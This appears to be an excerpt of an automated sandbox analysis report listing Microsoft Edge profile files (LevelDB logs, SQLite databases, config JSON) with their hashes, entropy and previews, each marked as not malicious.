Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.231507147189369
Encrypted:	false
SSDEEP:	6:HUjWMq2PN723oH+TcwtnG2tMsIFUt8YUlZmw+YUxRFkwON723oH+TcwtnG2tMsLJ:GjvVaYebn9GFUt8r/+LP5OaYebn95J
MD5:	FD1875439889C967354AA0C3F996845E
SHA1:	34CDC5B6E2FA48EA394D89ABDA865B06E3670F1F
SHA-256:	3B251EA9E45E4341DAC50B94EBC1ACBA8111453D3E86485B877E1AE1CD469A45
SHA-512:	D8F48CBDCCA2CED7B7714B22F567924FA3076B4320A5B3B51BEE62948D9F471B9DB0DBD753863B1363202F6C6E01A4364C6E2F22BE7592F152142ECC77805648
Malicious:	false
Preview:	2024/11/16-19:38:36.292 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/16-19:38:36.316 1fb4 Recovering log #3.2024/11/16-19:38:36.318 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6121140415228951
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j/hnp5ihemL:TO8D4jJ/6Up+ThTihr
MD5:	79B8B7741297D3938577866C68A67317
SHA1:	B1FFEADDA325C575F1AFB25C5AEC71D72F427855
SHA-256:	CBA42857A5740A6892DF61A960240C30C2EFED9ADBA47EEC581262C57FF0E1A8
SHA-512:	078762051F0B1DE4E61B1F9066F8350BF80E20098295B416DC24375F2FDD6679C4B5399B1C60A259C4FCEE6EC069000643251B922D25BEBD3B7B323701183E30
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354092730475719
Encrypted:	false
SSDEEP:	6144:rA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:rFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	04934756DB352E75216AC2FCFAAF998D
SHA1:	01B669CF89C8A0776A614BEFE080ACFED1CCC812
SHA-256:	FE18639EFF4162DF370BAB12DB55C8951AF2C841D361AEAEA3A6BFC73B7C1BB4
SHA-512:	70A255D92742879723EF97DE238BEABB2AE89987BF0BFB7DEAD2838B1F3D0408490489C503367022B170E92C045B88F33106907184AC77098D1FB8A0D45A97CC
Malicious:	false
Preview:	...m.................DB_VERSION.1.z.-q...............&QUERY_TIMESTAMP:domains_config_gz2...13376277523059213..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.166100489618072
Encrypted:	false
SSDEEP:	6:HUsvXq1N723oH+Tcwtk2WwnvB2KLlVUsfTWFN+q2PN723oH+Tcwtk2WwnvIFUv:HXaaYebkxwnvFLLS+vVaYebkxwnQFUv
MD5:	19E27DDBB4BEDBF931CC756EF654BAF1
SHA1:	DBD141B085818F71B11B3AB82C6F1464C10DBA67
SHA-256:	279476BF80EC2E633E5D510ED1464D4B162715C1D91B8EE0510DBA39DB98CA40
SHA-512:	3AC4B8447E33E22925507F214AF818DC61A7677BF7F38E5E7D119F83DE145A4AC73F89E5011F7E65EA8E971D8DFAB5B4C0D4345DE5B9E70F5D85FD072AFA9CA4
Malicious:	false
Preview:	2024/11/16-19:38:41.436 1f2c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/16-19:38:41.533 1f2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614566188599
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RT:C1gAg1zfvr
MD5:	72BFC6BFEE4C8EBBE94415069348F888
SHA1:	C9F2CBF8CD48E7F83A015EE783B9D4F7C71B31A3
SHA-256:	9E10DEDAAD1C634FC50C43708131618EA017B8D783711669FE5B9097C8054D47
SHA-512:	1E9BD73EF5CB67CC747E739690C29E90F34359B27676A1D16C8228F2CC817C512F90E47623A2C2AD3EB4464A984FB74F78F7773F0E15001393F36A1DD704E9DF
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.181777487861304
Encrypted:	false
SSDEEP:	6:HUjUFDOq2PN723oH+Tcwt8aPrqIFUt8YUjNZmw+YUj/kwON723oH+Tcwt8amLJ:GUFDOvVaYebL3FUt8hN/+h/5OaYebQJ
MD5:	BBAE5990B2230AD296395CBA8BC5EFEF
SHA1:	23F8AF064DCEE3FBE9D91FA5E5C6E489E6D730CD
SHA-256:	D74A44C5017280071886D73B31D7A1C474B4763E2DAD8FA972D92AE392DB9375
SHA-512:	EEA4DF42FEA332B5212238C4BE0C942501A7C644AFA797D8F9BA3706B3A277A9FC31AD5BC9E65BFA22A72ADAA310343E2BE46444038774367EB437DB3E2C1795
Malicious:	false
Preview:	2024/11/16-19:38:36.291 1fc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-19:38:36.292 1fc4 Recovering log #3.2024/11/16-19:38:36.292 1fc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.181777487861304
Encrypted:	false
SSDEEP:	6:HUjUFDOq2PN723oH+Tcwt8aPrqIFUt8YUjNZmw+YUj/kwON723oH+Tcwt8amLJ:GUFDOvVaYebL3FUt8hN/+h/5OaYebQJ
MD5:	BBAE5990B2230AD296395CBA8BC5EFEF
SHA1:	23F8AF064DCEE3FBE9D91FA5E5C6E489E6D730CD
SHA-256:	D74A44C5017280071886D73B31D7A1C474B4763E2DAD8FA972D92AE392DB9375
SHA-512:	EEA4DF42FEA332B5212238C4BE0C942501A7C644AFA797D8F9BA3706B3A277A9FC31AD5BC9E65BFA22A72ADAA310343E2BE46444038774367EB437DB3E2C1795
Malicious:	false
Preview:	2024/11/16-19:38:36.291 1fc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-19:38:36.292 1fc4 Recovering log #3.2024/11/16-19:38:36.292 1fc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19435350251896
Encrypted:	false
SSDEEP:	6:HUjAq2PN723oH+Tcwt865IFUt8YUjhZmw+YUj7kwON723oH+Tcwt86+ULJ:GAvVaYeb/WFUt8hh/+h75OaYeb/+SJ
MD5:	D081490F458E2E8288BCDD7BD5902744
SHA1:	71AE6F25D1D516E43D9F1730430D247C3C949D8B
SHA-256:	D0686E2C3F6CFC0A5B6D45C6798BA7AEF1D78BD3772A5805B0769CBC960FF9F2
SHA-512:	691BE33EAEC45EBF0A9287B94BADE19E897747E28C4FAD6E0184F486D56B41E3E82307321CE5C1CC7A347EB2E032E11A01A2218B309D7366CAD82F816B8768B5
Malicious:	false
Preview:	2024/11/16-19:38:36.296 1fc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-19:38:36.296 1fc4 Recovering log #3.2024/11/16-19:38:36.296 1fc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19435350251896
Encrypted:	false
SSDEEP:	6:HUjAq2PN723oH+Tcwt865IFUt8YUjhZmw+YUj7kwON723oH+Tcwt86+ULJ:GAvVaYeb/WFUt8hh/+h75OaYeb/+SJ
MD5:	D081490F458E2E8288BCDD7BD5902744
SHA1:	71AE6F25D1D516E43D9F1730430D247C3C949D8B
SHA-256:	D0686E2C3F6CFC0A5B6D45C6798BA7AEF1D78BD3772A5805B0769CBC960FF9F2
SHA-512:	691BE33EAEC45EBF0A9287B94BADE19E897747E28C4FAD6E0184F486D56B41E3E82307321CE5C1CC7A347EB2E032E11A01A2218B309D7366CAD82F816B8768B5
Malicious:	false
Preview:	2024/11/16-19:38:36.296 1fc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-19:38:36.296 1fc4 Recovering log #3.2024/11/16-19:38:36.296 1fc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.206183508081274
Encrypted:	false
SSDEEP:	6:HUvFWN4q2PN723oH+Tcwt8NIFUt8YUPD5JZmw+YUPD5DkwON723oH+Tcwt8+eLJ:gxvVaYebpFUt85X/+5F5OaYebqJ
MD5:	F1AB9F1D788FA398D6A129EE68EF6B84
SHA1:	4E760E37AB8A70CA038471092C7E1B2B98D28AFF
SHA-256:	B8831004E78FE2826C64FEF99498DB1BF2E7338E7B0F0CC8C49A6024DFC5D3F5
SHA-512:	EC040C6917CBADD224B9AFFDE5D50054104CF6F35CF797E5CEB676F86C0494DE9B2D05DF5DE073AA6DAD1A09A04AE106C2F28ACDCDBF5441B7A3C7952D2A49AE
Malicious:	false
Preview:	2024/11/16-19:38:36.964 1f84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-19:38:36.965 1f84 Recovering log #3.2024/11/16-19:38:36.965 1f84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.206183508081274
Encrypted:	false
SSDEEP:	6:HUvFWN4q2PN723oH+Tcwt8NIFUt8YUPD5JZmw+YUPD5DkwON723oH+Tcwt8+eLJ:gxvVaYebpFUt85X/+5F5OaYebqJ
MD5:	F1AB9F1D788FA398D6A129EE68EF6B84
SHA1:	4E760E37AB8A70CA038471092C7E1B2B98D28AFF
SHA-256:	B8831004E78FE2826C64FEF99498DB1BF2E7338E7B0F0CC8C49A6024DFC5D3F5
SHA-512:	EC040C6917CBADD224B9AFFDE5D50054104CF6F35CF797E5CEB676F86C0494DE9B2D05DF5DE073AA6DAD1A09A04AE106C2F28ACDCDBF5441B7A3C7952D2A49AE
Malicious:	false
Preview:	2024/11/16-19:38:36.964 1f84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-19:38:36.965 1f84 Recovering log #3.2024/11/16-19:38:36.965 1f84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:OjlntFlljq7A/mhWJFuQ3yy7IOWUMtlKl/dweytllrE9SFcTp4AGbNCV9RUIKq/:x75fOyal/d0Xi99pEYz
MD5:	612148B91CE440C043C5D3A5233CB14E
SHA1:	67FA961D2460D535462095A48D829F64EBE0256F
SHA-256:	9799B5C732D6353B40C8D8830B39848F5F74887360053572379028110418C8CF
SHA-512:	914505BD431EA01C4258F8260B420058A2444D54CB0053CAE31F10245B4752B2FE4D03BB4E3B85120339C9E79EAE8466D64DA506391A78110F2D617FDC81240F
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918414601255008
Encrypted:	false
SSDEEP:	384:jj9P0PQkQerkjly773pLDcIgam6IkP/Kbt/RKToaADhf:jdUe2mly7O/UP/iRKc39
MD5:	5AB92321902A0ABFA27D09411BAC43DB
SHA1:	26F9287A309CEC9D52CF6BA78E1EC8A2CAC71DB6
SHA-256:	EE4D9D5BBE4C844F47CCFE3909E15AE2FC4FAC945DC279969F93CF94ACA58C95
SHA-512:	971AFC8CD4F487D0FA8C4B0318C4443192B6FFE7EE2E51B204F3D66A6212746436DDCD00B22F116741EED02FFF4D99BD1D349B37C8F70687E791DE9E1CAF2E80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.304001123390015
Encrypted:	false
SSDEEP:	12:pOvVaYeb8rcHEZrELFUt8N/+/5OaYeb8rcHEZrEZSJ:uVaYeb8nZrExg8mOaYeb8nZrEZe
MD5:	A95C262909627BEDB6179EF56D657DC4
SHA1:	2E8FB248BA96BADEB036F54E324EAA008F606DFB
SHA-256:	F9018D747178B0C28C20FBF81BD1D5D0E0E62480E688220A9078090D855C9A24
SHA-512:	1B35AE0CC2CA4A92BC01F1C1AA9FD16E6FED57CC45BC754B82CDB0684F53C27EAE558EB753E74414EDAB3CFFCE8463A41B51AF336508F3B6965F9AC45C56B9F5
Malicious:	false
Preview:	2024/11/16-19:38:39.394 1f84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-19:38:39.395 1f84 Recovering log #3.2024/11/16-19:38:39.395 1f84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.304001123390015
Encrypted:	false
SSDEEP:	12:pOvVaYeb8rcHEZrELFUt8N/+/5OaYeb8rcHEZrEZSJ:uVaYeb8nZrExg8mOaYeb8nZrEZe
MD5:	A95C262909627BEDB6179EF56D657DC4
SHA1:	2E8FB248BA96BADEB036F54E324EAA008F606DFB
SHA-256:	F9018D747178B0C28C20FBF81BD1D5D0E0E62480E688220A9078090D855C9A24
SHA-512:	1B35AE0CC2CA4A92BC01F1C1AA9FD16E6FED57CC45BC754B82CDB0684F53C27EAE558EB753E74414EDAB3CFFCE8463A41B51AF336508F3B6965F9AC45C56B9F5
Malicious:	false
Preview:	2024/11/16-19:38:39.394 1f84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-19:38:39.395 1f84 Recovering log #3.2024/11/16-19:38:39.395 1f84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	5.674505663345964
Encrypted:	false
SSDEEP:	24:mZWnFmEUlH5AQlwhbP53HIs/1+XZBWKiV03y1x4VMyFjW+THfhNKgFHHmQ5da2Ln:mZ3EQgbPBoy1+XZ4pV03Sx4uyFjBHHHD
MD5:	00F796EEA45B406ECE71AB0FFF61BD67
SHA1:	CD08A4485EF0A71B1A71F0FEB089A133C3F33037
SHA-256:	32C42C89D0C3432F62CA9D6FA1986A75E7458B192B421C586D8182E8A359841C
SHA-512:	D90BC153214C44CDA7ABAFEE67371EF0B494445CE25018FC1B428B241EC38EFA43AE72D987001855312B5051D6F4963F8C4F59441380E5BD04441C6AFC5D5CC4
Malicious:	false
